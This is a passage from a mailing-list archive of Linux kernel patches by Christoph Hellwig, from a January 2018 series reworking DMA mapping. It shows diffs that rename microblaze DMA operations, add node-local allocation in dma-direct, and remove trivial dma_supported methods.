	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 09:00:11 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBIc-0001jZ-M8
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 08:59:51 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 61FE11016;
	Wed, 10 Jan 2018 08:01:23 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 71AEB1017
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:22 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id E0E6B1DE83
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:21 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=r+fqxY8bxuU6DxfwU2ZFYMFoYgWuQA09Pc8q0OQxKNY=;
	b=tm2mFpYALLi49wxR7t+0UfvBb
	LJ+T4yZC1YEjyVdo+G9XaFzZDuC3a2hK95nHQV7TnFjwfRA2ojmsbc/45GkFLTMLg/GcjQipQhl/j
	+ncuWA1aGYq3zBamJTKdCasWlZ5HwxQkn+tIU7kodi5LXxutEBCk4zPes3vl3oQLPaj4qMmHlH012
	GZBrwD0XW/Hky27ZBe94liudFRLsM1D0Goekmw4koAsp6VXuf5SHXDReP43sbl7ixCNYqMdz2p0Wk
	a1bQPkpyTRzJ1ei772v84HR4OzsD8i9pk99YcfW6+qIr2Le6xOlW31SL04sfowRjottkCa2MfA6NC
	3LRHQaN6w==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBK0-0004jy-6j; Wed, 10 Jan 2018 08:01:16 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22040 gmane.linux.ports.mips.general:63206 gmane.linux.ports.ia64:28519 gmane.linux.ports.sh.devel:56251 gmane.linux.ports.sparc:27202 gmane.linux.kernel.cross-arch:41264 gmane.linux.ports.hexagon:1520 gmane.linux.kernel.arc:3304 gmane.linux.kernel.metag:1596 gmane.linux.ports.arm.kernel:625019 gmane.linux.ports.parisc:28195 gmane.linux.kernel:2662726 gmane.linux.ports.alpha:4694 gmane.linux.ports.ppc64.devel:151843
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22040>

This frees the dma_direct_* namespace for a generic implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/microblaze/include/asm/dma-mapping.h |  4 +--
 arch/microblaze/kernel/dma.c              | 48 +++++++++++++++----------------
 2 files changed, 26 insertions(+), 26 deletions(-)

diff --git a/arch/microblaze/include/asm/dma-mapping.h b/arch/microblaze/include/asm/dma-mapping.h
index 6b9ea39405b8..add50c1373bf 100644
--- a/arch/microblaze/include/asm/dma-mapping.h
+++ b/arch/microblaze/include/asm/dma-mapping.h
@@ -18,11 +18,11 @@
 /*
  * Available generic sets of operations
  */
-extern const struct dma_map_ops dma_direct_ops;
+extern const struct dma_map_ops dma_nommu_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return &dma_direct_ops;
+	return &dma_nommu_ops;
 }
 
 #endif	/* _ASM_MICROBLAZE_DMA_MAPPING_H */
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 990bf9ea0ec6..450803e5731a 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -17,7 +17,7 @@
 
 #define NOT_COHERENT_CACHE
 
-static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
+static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				       dma_addr_t *dma_handle, gfp_t flag,
 				       unsigned long attrs)
 {
@@ -42,7 +42,7 @@ static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
 #endif
 }
 
-static void dma_direct_free_coherent(struct device *dev, size_t size,
+static void dma_nommu_free_coherent(struct device *dev, size_t size,
 				     void *vaddr, dma_addr_t dma_handle,
 				     unsigned long attrs)
 {
@@ -69,7 +69,7 @@ static inline void __dma_sync(unsigned long paddr,
 	}
 }
 
-static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
+static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
 			     int nents, enum dma_data_direction direction,
 			     unsigned long attrs)
 {
@@ -89,12 +89,12 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-static int dma_direct_dma_supported(struct device *dev, u64 mask)
+static int dma_nommu_dma_supported(struct device *dev, u64 mask)
 {
 	return 1;
 }
 
-static inline dma_addr_t dma_direct_map_page(struct device *dev,
+static inline dma_addr_t dma_nommu_map_page(struct device *dev,
 					     struct page *page,
 					     unsigned long offset,
 					     size_t size,
@@ -106,7 +106,7 @@ static inline dma_addr_t dma_direct_map_page(struct device *dev,
 	return page_to_phys(page) + offset;
 }
 
-static inline void dma_direct_unmap_page(struct device *dev,
+static inline void dma_nommu_unmap_page(struct device *dev,
 					 dma_addr_t dma_address,
 					 size_t size,
 					 enum dma_data_direction direction,
@@ -122,7 +122,7 @@ static inline void dma_direct_unmap_page(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_single_for_cpu(struct device *dev,
+dma_nommu_sync_single_for_cpu(struct device *dev,
 			       dma_addr_t dma_handle, size_t size,
 			       enum dma_data_direction direction)
 {
@@ -136,7 +136,7 @@ dma_direct_sync_single_for_cpu(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_single_for_device(struct device *dev,
+dma_nommu_sync_single_for_device(struct device *dev,
 				  dma_addr_t dma_handle, size_t size,
 				  enum dma_data_direction direction)
 {
@@ -150,7 +150,7 @@ dma_direct_sync_single_for_device(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_sg_for_cpu(struct device *dev,
+dma_nommu_sync_sg_for_cpu(struct device *dev,
 			   struct scatterlist *sgl, int nents,
 			   enum dma_data_direction direction)
 {
@@ -164,7 +164,7 @@ dma_direct_sync_sg_for_cpu(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_sg_for_device(struct device *dev,
+dma_nommu_sync_sg_for_device(struct device *dev,
 			      struct scatterlist *sgl, int nents,
 			      enum dma_data_direction direction)
 {
@@ -178,7 +178,7 @@ dma_direct_sync_sg_for_device(struct device *dev,
 }
 
 static
-int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
+int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 			     void *cpu_addr, dma_addr_t handle, size_t size,
 			     unsigned long attrs)
 {
@@ -204,20 +204,20 @@ int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 #endif
 }
 
-const struct dma_map_ops dma_direct_ops = {
-	.alloc		= dma_direct_alloc_coherent,
-	.free		= dma_direct_free_coherent,
-	.mmap		= dma_direct_mmap_coherent,
-	.map_sg		= dma_direct_map_sg,
-	.dma_supported	= dma_direct_dma_supported,
-	.map_page	= dma_direct_map_page,
-	.unmap_page	= dma_direct_unmap_page,
-	.sync_single_for_cpu		= dma_direct_sync_single_for_cpu,
-	.sync_single_for_device		= dma_direct_sync_single_for_device,
-	.sync_sg_for_cpu		= dma_direct_sync_sg_for_cpu,
-	.sync_sg_for_device		= dma_direct_sync_sg_for_device,
+const struct dma_map_ops dma_nommu_ops = {
+	.alloc			= dma_nommu_alloc_coherent,
+	.free			= dma_nommu_free_coherent,
+	.mmap			= dma_nommu_mmap_coherent,
+	.map_sg			= dma_nommu_map_sg,
+	.dma_supported		= dma_nommu_dma_supported,
+	.map_page		= dma_nommu_map_page,
+	.unmap_page		= dma_nommu_unmap_page,
+	.sync_single_for_cpu	= dma_nommu_sync_single_for_cpu,
+	.sync_single_for_device	= dma_nommu_sync_single_for_device,
+	.sync_sg_for_cpu	= dma_nommu_sync_sg_for_cpu,
+	.sync_sg_for_device	= dma_nommu_sync_sg_for_device,
 };
-EXPORT_SYMBOL(dma_direct_ops);
+EXPORT_SYMBOL(dma_nommu_ops);
 
 /* Number of entries preallocated for DMA-API debugging */
 #define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-- 
2.14.2


From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 27/33] dma-direct: use node local allocations for coherent memory
Date: Wed, 10 Jan 2018 09:00:21 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20180110080027.13879-28-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571222 12780 195.159.176.226 (10 Jan 2018 08:00:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:22 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
        linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
        linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
        linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
        linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
        linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jan 10 09:00:16 2018
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eZBIq-0002Qq-B8
	for glkm-linux-metag@m.gmane.org; Wed, 10 Jan 2018 09:00:04 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S965511AbeAJICE (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Wed, 10 Jan 2018 03:02:04 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:57814 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965488AbeAJIB6 (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Wed, 10 Jan 2018 03:01:58 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=2Kcd6zEJ+cb8K9CZttcDgrWlPGUBFBciZ5nxkoKIodA=; b=d8K/c3sUhW6492LRVanRGX29P
        jD/NjpsxHojH+RC2xkLlcOKi2xUGk1kTbpb9MxYTWF4bO61bt/MV9a+yy5JQ3UQ/siA+tsqwVBGbj
        2CdyHtl4YDYDNik1XS4m7p3brZGK7a9y9S802xK/AuiP5lbvvkehQ6pEXRy3IqUV+1JgqtXwmO6m8
        PwrbiUs8VNSgiO/h0QIDW202xf/8lKct0GlPBG6eAJxK3nQ9OnkzjyRHpHW3cngpgvysLOygySS+F
        vW7UNaXxJMt6pC0ZVFKb8osdyGo71Tcrh+YVfod+DXbnahaoNaCmbPmeZchRrEZdaF1/iOQLSu24d
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKZ-0005XQ-Nk; Wed, 10 Jan 2018 08:01:52 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1597 gmane.linux.kernel.iommu:22041 gmane.linux.ports.alpha:4695 gmane.linux.kernel.arc:3305 gmane.linux.ports.arm.kernel:625020 gmane.linux.ports.hexagon:1521 gmane.linux.ports.ia64:28520 gmane.linux.ports.mips.general:63207 gmane.linux.ports.parisc:28196 gmane.linux.ports.ppc64.devel:151844 gmane.linux.ports.sh.devel:56252 gmane.linux.ports.sparc:27203 gmane.linux.kernel.cross-arch:41265 gmane.linux.kernel:2662727
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1597>

To preserve the x86 behavior.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 lib/dma-direct.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index a9ae98be7af3..f04a424f91fa 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -38,7 +38,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	if (gfpflags_allow_blocking(gfp))
 		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
 	if (!page)
-		page = alloc_pages(gfp, page_order);
+		page = alloc_pages_node(dev_to_node(dev), gfp, page_order);
 	if (!page)
 		return NULL;
 
-- 
2.14.2


From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 16/33] microblaze: remove dma_nommu_dma_supported
Date: Wed, 10 Jan 2018 09:00:10 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20180110080027.13879-17-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571225 13569 195.159.176.226 (10 Jan 2018 08:00:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:25 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 09:00:20 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBIh-00021a-Oq
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 08:59:56 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 8ACA6ECA;
	Wed, 10 Jan 2018 08:01:26 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 6297EE3F
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:25 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id C83121DF29
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:24 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=daXQo6Y99hwpSpRDFBCb2+LAWBz1XhosisIRKsz/OLU=;
	b=O/ar3JpESro9BE2uiTzXRKN1S
	rBIaM/SpcHwD6kqfuCxA3jdtAItOAY3E1OUlHnyymtUKt0VRO//hXzN0VAMGvWhPm+wsVHViB/550
	uuz19qt6A2ypRb3h441l+vYyUZYkRzer6ZKP9WM+UmlCUd2K3PJGcDuFwe9FnpMdSsAnAcFKAavIF
	UrGvOPhClRPl6YOtkpdv8rzba1HLreKlsLodT+n6E9JSKpiplNh9b3yeulWFog3J69yVfb29N/iGw
	Z8qb9u8ZB6TcDKSLDjUnkddS7Qd9/njAfsk+xxlVTUj/L2FH95F/xwvxsYoiCOdBoWM6UVVlpN3H2
	HVqTOu8Qw==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBK3-0004oo-5D; Wed, 10 Jan 2018 08:01:19 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22042 gmane.linux.ports.mips.general:63208 gmane.linux.ports.ia64:28521 gmane.linux.ports.sh.devel:56253 gmane.linux.ports.sparc:27204 gmane.linux.kernel.cross-arch:41266 gmane.linux.ports.hexagon:1522 gmane.linux.kernel.arc:3306 gmane.linux.kernel.metag:1598 gmane.linux.ports.arm.kernel:625021 gmane.linux.ports.parisc:28197 gmane.linux.kernel:2662728 gmane.linux.ports.alpha:4696 gmane.linux.ports.ppc64.devel:151845
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22042>

Always returning 1 is the same behavior as not supplying a method at all.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/microblaze/kernel/dma.c | 6 ------
 arch/parisc/kernel/pci-dma.c | 7 -------
 2 files changed, 13 deletions(-)

diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 450803e5731a..b45d8f8967af 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -89,11 +89,6 @@ static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-static int dma_nommu_dma_supported(struct device *dev, u64 mask)
-{
-	return 1;
-}
-
 static inline dma_addr_t dma_nommu_map_page(struct device *dev,
 					     struct page *page,
 					     unsigned long offset,
@@ -209,7 +204,6 @@ const struct dma_map_ops dma_nommu_ops = {
 	.free			= dma_nommu_free_coherent,
 	.mmap			= dma_nommu_mmap_coherent,
 	.map_sg			= dma_nommu_map_sg,
-	.dma_supported		= dma_nommu_dma_supported,
 	.map_page		= dma_nommu_map_page,
 	.unmap_page		= dma_nommu_unmap_page,
 	.sync_single_for_cpu	= dma_nommu_sync_single_for_cpu,
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index c0dfd892f70c..91bc0cac03a1 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -75,11 +75,6 @@ void dump_resmap(void)
 static inline void dump_resmap(void) {;}
 #endif
 
-static int pa11_dma_supported( struct device *dev, u64 mask)
-{
-	return 1;
-}
-
